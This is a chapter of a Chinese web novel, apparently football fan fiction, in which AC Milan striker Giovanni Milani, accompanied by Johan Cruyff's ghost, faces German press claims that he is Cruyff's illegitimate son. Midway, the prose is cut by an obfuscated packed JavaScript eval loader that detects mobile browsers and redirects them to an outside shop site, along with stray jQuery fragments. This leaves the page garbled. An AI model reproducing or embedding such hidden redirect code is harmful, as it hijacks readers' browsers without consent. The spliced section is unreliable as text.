多特蒙德这赛季过得并不容易，前任主帅迈克尔·斯基贝在十场比赛只赢了一场的情况下，于2月初黯然下课，贝恩德·克劳斯作为其继任者也未能挽救球队的颓势。


    3月2日，欧洲联盟杯第四轮首回合比赛，多特蒙德被远道而来的意大利球队AC米兰在主场踢出了一个耻辱的0比5，完成帽子戏法的米兰14号球员更是一个刚刚年满20岁不久的年轻人。


    这场比赛在德国国内引起轩然大波，各路媒体一方面攻击多特蒙德新任主帅整场梦游，毫无临场指挥的能力，另一方面开始挖掘意大利前锋乔瓦尼·米拉尼的来历——由于AC米兰连续两赛季无缘欧战，关于这名年轻球员的报道仅限于1998年欧青赛、以及欧洲杯预选赛的零星记录。


    乔瓦尼·米拉尼，AC米兰青训出身，17岁就被名帅卡佩罗提拔进一线队，18岁成为扎切罗尼在锋线上的首选，抛开其由于体能不足每三场就必须休息一场这个微不足道的小缺点外，这名年轻人绝对称得上是红黑军团的主力球员。


    然而，当德国记者们看到乔瓦尼的照片后，先前搜集的资料大多失去了价值——一个普通的意大利天才有什么可写的？亚平宁半岛的天才难道还少吗？


    但是，倘若这个年轻人不仅与荷兰传奇球星约翰·克鲁伊夫长相相似，甚至连球风都如出一辙，那情况就完全不一样了。


    而且随着深挖，德国人发现乔瓦尼·米拉尼竟然是一个孤儿！


    《AC米兰14号球员恐为约翰·克鲁伊夫私生子——米拉尼是“伊卡洛斯”还是飞翔的荷兰人？》


    或许是由于德国人始终忘不掉那个与贝肯鲍尔惺惺相惜的荷兰人，3月3日傍晚，刊登这篇报道的晚报在三小时内销售一空，并飞速跨越国境，向周边几个国家扩散。


    消息当晚便抵达亚平宁，意大利媒体连夜编译转载，赶在4日清晨，让这则新闻登上了本国早报的头版。


    此时，米兰全队正在积极筹备5日的联赛德比，国际米兰最近刚刚在意杯上失利，又被乔瓦尼在场下“敲诈”了好多顿大餐，全靠下场比赛挽回颜面，所有人都清楚双方之间必有一场恶战。


    因此，当米兰内洛的工作人员在看到那份总结了德媒报道的意大利晨报后，第一反应是把这份有可能影响球队状态的报纸扔进垃圾桶，而事实上他们也是这样做的。


    而在训练基地外，这份报道早已成为当日的爆炸性话题。毕竟意大利人也不眼瞎——谁看不出来米兰14号球员与克鲁伊夫相貌相似？但由于此前炒作乔瓦尼身世的那家媒体后来遭到了舆论反噬，自此再无人愿意撰写可能将本国天才推给荷兰的报道。如今，德国人主动递上话柄，意大利人正好能以批判的眼光审视这番猜想，理直气壮地加入这场热议。


    当天下训后，有不少记者挥舞着那份报纸拦在基地门口：


    “米拉尼！德国人说你是约翰·克鲁伊夫的私生子！对此你怎么看？”


    米兰内洛门口有记者蹲守不是新鲜事，所以乔瓦尼并没有第一时间察觉出异常，甚至直接摇下了车窗。


    一份报纸被猛地扔了进来，伴随着记者们几乎递到嘴边的话筒。


    “先生们，容我先看看报纸，可以吗？”乔瓦尼无奈地展开报纸，首先映入眼帘的是占据半个版面的对比照片——左边是身穿阿贾克斯球衣的约翰·克鲁伊夫、右边是身穿米兰红黑条纹衫的他自己，两个人正做着同一个凌空抽射的动作……


    哦，乍一看简直一模一样，无论是眉眼、面部轮廓，还是肢体动作……


    乔瓦尼默默想道，然后才将视线缓缓上移，看到了新闻标题——


    《德媒爆料：乔瓦尼·米拉尼或为约翰·克鲁伊夫私生子？》


    等等，谁是谁的私生子？乔瓦尼愣了一下，他下意识看向副驾上的幽灵，而对方显然也是一副愕然的表情。


    这才对嘛……乔瓦尼心想，虽然这也是他第一次如此直观地发现自己与克鲁伊夫确实很像，但这能说明什么？他是不是荷兰飞人的儿子，克鲁伊夫本人还能不知道吗？


    于是，乔瓦尼只是冷着脸对车窗外的记者说了一句：“纯属无稽之谈。”


    然后便摇上车窗，一脚油门狠狠踩下，让他的媒体朋友们吃了满满一嘴汽车尾气。


    不过等回到老宅、吃过晚饭，乔瓦尼却又把这份报纸拿了起来，他坐在自己的房间里仔细读着意大利媒体翻译过来的德文报道：“德国人还挺会想的。”


    德媒用了不止一组照片来论证他与约翰·克鲁伊夫可能存在的血缘关系。乔瓦尼摸了摸报纸上那个还留着短发、也许刚刚20岁出头的克鲁伊夫，“我现在有点儿理解那些说我和你很像的荷兰人了。”


    克鲁伊维特、西多夫、荷兰三剑客，甚至是约尔迪，他们好像都说过类似的话。但乔瓦尼此前根本没有在意过这件事，作为克鲁伊夫的门生，他们球风相似不是很正常的事情吗？可若说起长相……乔瓦尼抬眼看向身边的幽灵，这好像还是他第一次如此认真地观察荷兰人的长相——30岁上下，笑起来有些孩子气，不笑的时候有种拒人于千里之外的疏离感。


    “所以我30岁时也会长这样吗？”乔瓦尼用开玩笑的语气说道，“他们只用了你早年间在阿贾克斯踢球的照片，咱们的照片摆在一起就像是双胞胎一样。”


    荷兰人闻言皱起眉头，对乔瓦尼的比喻有些无奈，但还是开口调侃道：“德国人应该请你写专栏，报纸肯定卖的比现在好。”


    乔瓦尼浅浅笑了一下。


    “所以，约翰……”他状似无意地翻看着报纸，低声问道：“……我是你的私生子吗？”


    克鲁伊夫感觉自己的心脏漏跳了一拍，他沉默了两秒，才认真地回答道：“……不，乔。你并不是我的私生子。”


    下一瞬，他感受到自己小儿子心中忽然涌起的巨大失落感，混杂着尴尬、懊恼以及一些其他无法命名的情绪。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116048|184144||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    “闭嘴，约翰。”乔瓦尼忽然用双手捂住了自己发烫的脸，语速飞快地说道，“我知道你能读我的心，但是忘了刚才的问题吧，就当我没问过，求你了。”


    克鲁伊夫喉咙发涩，但他如年轻人所愿，没有开口说话。


    乔瓦尼大概缓了有两三分钟，才放下双手，整张脸都涨红了。他想直接把这份恼人的报纸扔掉，但看到那些对比照片又忽然有些不舍。


    最后，他把那些照片小心翼翼地剪下来，贴到了战术本里。


    “闭嘴约翰，什么也别说。”


    克鲁伊夫站在小儿子身后，苦笑道：“乔，如果你看眼时间，就会发现我已经10分钟没有说过话了。”


    乔瓦尼被这句话逗笑了，他扭过头瞥了一眼荷兰人，“好吧，真是难为你了。”


    约翰已经是他的教练、他的经纪人了。他会捧起大力神杯，帮助荷兰人实现心愿，然后成为对方眼里最出色的弟子。


    ……这已经够了，乔瓦尼告诉自己，他不能贪得无厌地奢求更多了。


    约翰·克鲁伊夫，这个男人的出现已是上帝对他的恩赐，如果上帝真的存在的话。


    “约翰，你觉得下一场巴乔先生还会上场吗？”乔瓦尼挠了挠后脑勺，随即抽出国际米兰的赛前简报，迅速埋首其中——与其想东想西，还不如把精力投入他所能掌控的那部分人生。


    然而第二天，也就是米兰德比战当天，年轻人却无缘无故的发起了低烧。


    切萨雷在早餐桌上看着神情恹恹的乔瓦尼，不容分说地帮他向俱乐部请了假。


    扎切罗尼固然为此感到遗憾，但是他说什么也不会再把发烧的乔瓦尼派上场了。米兰全队都为这位年轻队友的身体状况感到担忧，然而大战在即，所有人都必须把心神集中到眼前的备战之中。


    在休息了一上午后，乔瓦尼没有明显好转，马尔蒂尼夫妇果断驾车将年轻人送往医院。


    可所有的检查结果都显示，乔瓦尼的身体非常健康，医生推测这可能只是疲劳引起的身体反应。


    于是，马尔蒂尼夫妇只能把乔瓦尼带回家，监督年轻人卧床休息。至于什么米兰德比，他根本想都不要想，玛丽莎甚至每隔十分钟便会轻轻推开房门，只为确认这个不安分的年轻人是否又在偷偷研究战术。


    当天晚上，国际米兰如愿在联赛中战胜同城死敌。唯一的遗憾是，米兰14号球员本场比赛因病缺席，不少国米球员都觉得这场比赛赢得一点儿也不痛快。


    由于乔瓦尼不在，赛后各路媒体也失去了继续追问他关于“克鲁伊夫私生子”的机会。


    国米这边，西多夫倒是因为其荷兰人身份被拦了下来。但这位中场球员只是生硬地说了一句：“约翰·克鲁伊夫不会有私生子，他不是那种男人。”


    当天半夜，米兰队长保罗·马尔蒂尼在自己的住处被一阵突如其来的窒息感惊醒，他浑身发冷，感觉就像是刚从冰冷的河水里爬出来一样。